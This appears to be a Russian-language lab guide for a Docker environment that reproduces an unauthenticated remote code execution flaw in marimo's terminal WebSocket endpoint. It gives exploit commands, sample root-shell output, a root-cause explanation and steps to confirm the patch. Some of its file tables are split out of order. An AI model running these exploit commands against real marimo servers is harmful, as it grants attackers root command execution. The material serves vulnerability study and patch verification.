
Образовательный Docker-лабораторный стенд, демонстрирующий CVE-2026-39987 — RCE без аутентификации через обход аутентификации WebSocket в marimo, с эксплойт-скриптом и шагами проверки патча.
Удалённое выполнение кода без аутентификации через обход аутентификации WebSocket терминала
Образовательная Docker-лаборатория для понимания, воспроизведения и исправления этой критической уязвимости в marimo.
| Цель | marimo <= 0.20.4 в режиме edit с включённой аутентификацией по токену |
| Атакующий | Любой хост с Python 3 и websocket-client |
| Цель атаки | Получение интерактивной root-оболочки через /terminal/ws без предоставления токена аутентификации |
| Тип | Обход аутентификации → Удалённое выполнение кода (RCE) |
| Исправление | marimo >= 0.23.0 |
⚠️ Только для этического использования: Эта лаборатория предназначена для исследователей безопасности, разработчиков и студентов, чтобы понять, как возникают уязвимости обхода аутентификации и как их правильно исправлять. Запускайте только в изолированных средах.
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ Port: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
Файлы в этой лаборатории:
| Файл | Назначение |
|---|---|
Dockerfile.target | Собирает уязвимый сервер marimo |
docker-compose.yml |
# Клонируйте репозиторий
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# Запустите лабораторию
docker-compose up --build -d
# Запустите эксплойт
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# Получите интерактивную оболочку
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# Создайте рабочую директорию и поместите в неё эти файлы:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# Соберите и запустите цель
docker-compose up --build -d
# Проверьте, что цель запущена
docker ps
# Вы должны увидеть: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
Что происходит:
0.20.4 (уязвимая версия)edit с явно включённой аутентификацией --token2718 открыт для вашего хостаПеред эксплуатацией давайте убедимся, что цель должным образом защищена на легитимных конечных точках:
# Попробуйте открыть основной интерфейс в браузере или через curl
curl -s http://127.0.0.1:2718/
# Ожидается: перенаправление на страницу входа или 401/403 (требуется токен)
# Попробуйте основной WebSocket (/ws) без токена
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Ожидается: соединение отклонено или закрыто немедленно из-за отсутствия аутентификации
Ключевое наблюдение: Основные конечные точки приложения корректно обеспечивают аутентификацию. Уязвимость находится во вторичной конечной точке, которая была упущена из виду.
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
Ожидаемый вывод:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
Вы получите приглашение $, где можно выполнять произвольные системные команды:
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
Уязвимость существует из-за несогласованной проверки аутентификации между конечными точками WebSocket:
┌─────────────────────────────────────────────────────────────────┐
│ Authentication Middleware (Starlette) │
│ ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│ └── Does NOT automatically close WebSocket connections │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Main) │ │ /terminal/ws │
│ │ │ (Terminal) │
│ ✓ validate_auth()│ │ ✗ NO auth check │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rejects unauth │ │ ✓ Accepts immediately│
└──────────────────┘ └──────────────────┘
Промежуточное ПО аутентификации (Starlette AuthenticationMiddleware) помечает неаутентифицированные соединения как UnauthenticatedUser, но не закрывает WebSocket-соединения автоматически.
Корректные конечные точки (например, /ws) вызывают validate_auth() или используют @requires("edit"), отклоняя неаутентифицированных клиентов.
Уязвимая конечная точка (/terminal/ws) проверяет только:
SessionMode.EDIT — гарантирует, что сервер находится в режиме редактированияsupports_terminal() — гарантирует доступность функции терминалаawait websocket.accept() без какой-либо проверки аутентификации.Воздействие: pty.fork() порождает полноценную PTY-оболочку, работающую от имени пользователя сервера (root в стандартном Docker-образе), что даёт атакующему полный доступ к системе.
Патч добавляет надлежащую проверку аутентификации в конечную точку /terminal/ws, обеспечивая её соответствие уровню безопасности других конечных точек.
Обновите цель до исправленной версии и повторно запустите эксплойт, чтобы подтвердить исправление:
# Отредактируйте Dockerfile.target: измените marimo==0.20.4 на marimo==0.23.0
# Или используйте: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# Попробуйте эксплойт снова
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
Ожидается после исправления:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
Соединение теперь отклоняется/закрывается немедленно; оболочка не получается. ✅
# Остановите и удалите контейнеры
docker-compose down -v
# Удалите собранный образ
docker rmi cve-lab_target
# Очистите все висячие образы
docker image prune -f
Создано в образовательных целях. Используйте ответственно. 🔒
| Оркестрирует контейнеры цели и атакующего |
exploit.py | PoC-скрипт эксплойта (режим одной команды + интерактивный режим) |
LAB_GUIDE.md | Это руководство |
| Проблема | Решение |
|---|
Connection refused | Убедитесь, что контейнер запущен: docker ps и проверьте логи с помощью docker logs marimo-vulnerable |
ModuleNotFoundError: No module named 'websocket' | Установите клиент: pip install websocket-client |
| Нет вывода от эксплойта | Увеличьте таймаут: python exploit.py ... --timeout 20 |
| Контейнер немедленно завершает работу | Проверьте синтаксис Dockerfile и убедитесь, что блокнот test.py создан правильно |
| Отказано в доступе | Убедитесь, что демон Docker запущен и у вас есть соответствующие разрешения |